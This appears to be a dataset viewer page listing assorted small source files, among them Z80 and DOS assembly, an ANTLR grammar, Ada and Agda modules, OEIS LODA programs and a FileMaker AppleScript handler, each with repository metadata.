105130
|
<filename>libsrc/_DEVELOPMENT/arch/ts2068/display/z80/asm_tshc_aaddr2saddr.asm
; ===============================================================
; May 2017
; ===============================================================
;
; uchar *tshc_aaddr2saddr(void *aaddr)
;
; Attribute address to screen address.
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_tshc_aaddr2saddr
asm_tshc_aaddr2saddr:
res 5,h
ret
|
src/main/grammar/com/devoxx/GrandMere.g4
|
framiere/devoxx-grand-mere
| 1 |
1049
|
grammar GrandMere;
parse
: expr
;
expr
: '(' expr ')' # subExpr
| '-' expr # unaryMinusExpr
| '+' expr # unaryPlusExpr
| expr high_priority_operation expr # highPriorityOperationExpr
| expr low_priority_operation expr # lowPriorityOperationExpr
| atom # atomExpr
;
high_priority_operation
: '*'
| '/'
;
low_priority_operation
: '+'
| '-'
;
atom
: INT # intAtom
| FLOAT # floatAtom
| EXP # expAtom
;
INT
: [0-9]+
;
FLOAT
: INT+ '.' INT* // 1. or 1.1
| '.' INT+ // .1
;
EXP
: INT '.' INT 'E' [-] INT // 1.1E-4
;
OTHER
: .
;
|
tools/gen/gen.ads
|
reznikmm/ada_lsp
| 11 |
26270
|
<reponame>reznikmm/ada_lsp<filename>tools/gen/gen.ads
-- Copyright (c) 2015-2017 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
package Gen is
pragma Pure;
end Gen;
|
programs/oeis/190/A190843.asm
|
neoneye/loda
| 22 |
162006
|
; A190843: [2ne]-2[ne], where [ ]=floor.
; 1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1
mul $0,2
add $0,1
seq $0,210 ; A Beatty sequence: floor(n*(e-1)).
mod $0,2
|
Projetos/F-Assembly/src/nasm/examples/Linha.nasm
|
juanjorgegarcia/Z01
| 0 |
10834
|
<filename>Projetos/F-Assembly/src/nasm/examples/Linha.nasm
; carrega x"FF" em S (todos pxs em '1')
leaw $0, %A
movw %A, %S
notw %S
; linha 1
leaw $17389, %A ;16384
movw %S, (%A)
incw %A
movw %S, (%A)
incw %A
movw %S, (%A)
incw %A
movw %S, (%A)
leaw $17409, %A
movw %S, (%A)
incw %A
movw %S, (%A)
incw %A
movw %S, (%A)
incw %A
movw %S, (%A)
|
Semirings/Definition.agda
|
Smaug123/agdaproofs
| 4 |
13128
|
<reponame>Smaug123/agdaproofs
{-# OPTIONS --safe --warning=error --without-K #-}
open import LogicalFormulae
open import Monoids.Definition
module Semirings.Definition where
record Semiring {a : _} {A : Set a} (Zero One : A) (_+_ : A β A β A) (_*_ : A β A β A) : Set a where
field
monoid : Monoid Zero _+_
commutative : (a b : A) β a + b β‘ b + a
multMonoid : Monoid One _*_
productZeroLeft : (a : A) β Zero * a β‘ Zero
productZeroRight : (a : A) β a * Zero β‘ Zero
+DistributesOver* : (a b c : A) β a * (b + c) β‘ (a * b) + (a * c)
+DistributesOver*' : (a b c : A) β (a + b) * c β‘ (a * c) + (b * c)
+Associative = Monoid.associative monoid
*Associative = Monoid.associative multMonoid
productOneLeft = Monoid.idLeft multMonoid
productOneRight = Monoid.idRight multMonoid
sumZeroLeft = Monoid.idLeft monoid
sumZeroRight = Monoid.idRight monoid
+WellDefined : {a b c d : A} β (a β‘ c) β (b β‘ d) β (a + b) β‘ (c + d)
+WellDefined refl refl = refl
-- (b+c)(a+a) == b(a+a) + c(a+a) == ba+ba+ca+ca == (ba+ca) + (ba+ca)
-- (b+c)(a+a) ==? (b+c)a+(b+c)a
|
mp-ui.ads
|
jrcarter/MP
| 1 |
2444
|
-- MP: a Music Player
-- Copyright (C) 2020 by PragmAda Software Engineering. All rights reserved.
-- Released under the terms of the BSD 3-Clause license; see https://opensource.org/licenses
--
-- 2020-09-15 Initial version
--
package MP.UI is
pragma Elaborate_Body;
end MP.UI;
|
oeis/106/A106034.asm
|
neoneye/loda-programs
| 0 |
104029
|
<reponame>neoneye/loda-programs
; A106034: a(n) is the least number such that n*prime(n)+a(n) is a perfect cube.
; Submitted by <NAME>(w3)
; 6,2,12,36,9,47,6,64,9,53,2,68,196,127,24,152,328,233,58,308,195,459,288,61,319,118,594,379,214,706,159,721,392,187,617,396,23,665,346,1080,661,398,1048,769,396,107,731,1463,1044,717,284,1396,1051,270,1490,897
seq $0,33286 ; a(n) = n * prime(n).
seq $0,333884 ; Difference between smallest cube > n and n.
|
dino/lcs/123p/E5.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
| 6 |
81321
|
<reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data
copyright zengfr site:http://github.com/zengfr/romhack
0324B0 addq.b #1, ($e5,A2)
0324B4 move.w ($8,A2), D1 [123p+ E5]
copyright zengfr site:http://github.com/zengfr/romhack
|
agda/Data/Pi/Base.agda
|
oisdk/combinatorics-paper
| 4 |
4335
|
{-# OPTIONS --safe --cubical #-}
module Data.Pi.Base where
open import Level
Ξ : (A : Type a) (B : A β Type b) β Type _
Ξ A B = (x : A) β B x
ββ² : {A : Type a} (B : A β Type b) β Type _
ββ² {A = A} B = Ξ A B
infixr 4.5 β-syntax
β-syntax : β {a b} {A : Type a} (B : A β Type b) β Type (a ββ b)
β-syntax = ββ²
syntax β-syntax (Ξ» x β e) = β[ x ] e
infixr 4.5 Ξ β¦-syntax
Ξ β¦-syntax : (A : Type a) (B : A β Type b) β Type (a ββ b)
Ξ β¦-syntax = Ξ
syntax Ξ β¦-syntax t (Ξ» x β e) = Ξ [ x β¦ t ] e
|
library/fmGUI_ManageDatabase/fmGUI_ManageDB_Save.applescript
|
NYHTC/applescript-fm-helper
| 1 |
4503
|
-- fmGUI_ManageDB_Save({notInManageDbIsError:""})
-- <NAME>, NYHTC
-- Close ( and save ) FileMaker's 'Manage Database' window.
(*
HISTORY:
1.6 - 2020-05-20 ( dshockley ): removed an incorrect requires-sub-handler comment.
1.5 - 2017-10-30 ( eshagdar ): FM interactions are done via sub-handlers.
1.4 - 2016-06-29 ( eshagdar ): wait until the close/save is complete
1.3 -
1.2 -
1.1 -
1.0 - created
REQUIRES:
fmGUI_AppFrontMost
fmGUI_NameOfFrontmostWindow
fmGUI_ObjectClick_OkButton
*)
on run
fmGUI_ManageDb_Save({})
end run
--------------------
-- START OF CODE
--------------------
on fmGUI_ManageDb_Save(prefs)
-- version 1.5
set defaultPrefs to {notInManageDbIsError:true}
set prefs to prefs & defaultPrefs
set manageDbWindowNamePrefix to "Manage Database for"
set waitCycleDelaySeconds to 10 -- seconds
set waitSaveTotalSeconds to 60 * minutes --seconds
set waitCycleMax to round (waitSaveTotalSeconds / waitCycleDelaySeconds) rounding down
try
fmGUI_AppFrontMost()
set frontmostWindowName to fmGUI_NameOfFrontmostWindow()
if frontmostWindowName starts with manageDbWindowNamePrefix then
try
fmGUI_ObjectClick_OkButton({})
delay 1 -- let click register. will continue below to wait for window to close
on error errMsg number errNum
error "Couldn't save Manage Database - " & errMsg number errNum
end try
else
if notInManageDbIsError of prefs then
error "Manage Database window wasn't open, so nothing to close." number 1024
else
-- Not in Manage Database, but that is OK.
return true
end if
end if
-- wait until the the changes are commited
windowWaitUntil({windowName:frontmostWindowName, windowNameTest:"does not contain", whichWindow:"any", waitCycleDelaySeconds:waitCycleDelaySeconds, waitCycleMax:waitCycleMax})
delay 1 -- let normal window come to front.
return true
on error errMsg number errNum
error "unable to fmGUI_ManageDB_Save - " & errMsg number errNum
end try
end fmGUI_ManageDb_Save
--------------------
-- END OF CODE
--------------------
on fmGUI_AppFrontMost()
tell application "htcLib" to fmGUI_AppFrontMost()
end fmGUI_AppFrontMost
on fmGUI_NameOfFrontmostWindow()
tell application "htcLib" to fmGUI_NameOfFrontmostWindow()
end fmGUI_NameOfFrontmostWindow
on fmGUI_ObjectClick_OkButton(prefs)
tell application "htcLib" to fmGUI_ObjectClick_OkButton(prefs)
end fmGUI_ObjectClick_OkButton
on windowWaitUntil(prefs)
tell application "htcLib" to windowWaitUntil(prefs)
end windowWaitUntil
|
testdata/test.asm
|
crgimenes/vm
| 1 |
161461
|
org 100h
section .text
mov ah, 40h
mov bx, 1
mov cx, 11
mov dx, msg
int 21h
mov al, 1
mov ah, 4Ch
int 21h
section .data
msg db "hello world"
|
test/Fail/Issue1209-5.agda
|
cruhland/agda
| 1,989 |
501
|
<reponame>cruhland/agda
{-# OPTIONS --safe --no-guardedness #-}
record Stream (A : Set) : Set where
coinductive
field
head : A
tail : Stream A
open Stream
repeat : β {A} β A β Stream A
repeat x .head = x
repeat x .tail = repeat x
|
courses/fundamentals_of_ada/labs/prompts/110_private_types/flags.adb
|
AdaCore/training_material
| 15 |
6575
|
package body Flags is
procedure Add
(Map : in out Map_T;
Key : Key_T;
Description : Colors.Color_Set_T;
Success : out Boolean) is
begin
Success := False;
-- If the key is not already in the map then
-- Create a map element and add it to the map
end Add;
procedure Remove
(Map : in out Map_T;
Key : Key_T;
Success : out Boolean) is
begin
Success := False;
-- Remove the element specified by the key from the map
end Remove;
procedure Modify
(Map : in out Map_T;
Key : Key_T;
Description : Colors.Color_Set_T;
Success : out Boolean) is
begin
Success := False;
-- Update the element at the key location with the new data
end Modify;
function Exists
(Map : Map_T;
Key : Key_T)
return Boolean is
begin
-- Return True if the key is in the map
return False;
end Exists;
function Get
(Map : Map_T;
Key : Key_T)
return Map_Element_T is
Ret_Val : Map_Element_T;
begin
-- Return the map element specified by key
return Ret_Val;
end Get;
function Image
(Item : Map_Element_T)
return String is
begin
-- return a string representation of the element
return "";
end Image;
function Image
(Flag : Map_T)
return String is
begin
-- return a string representation of the map
return "";
end Image;
end Flags;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.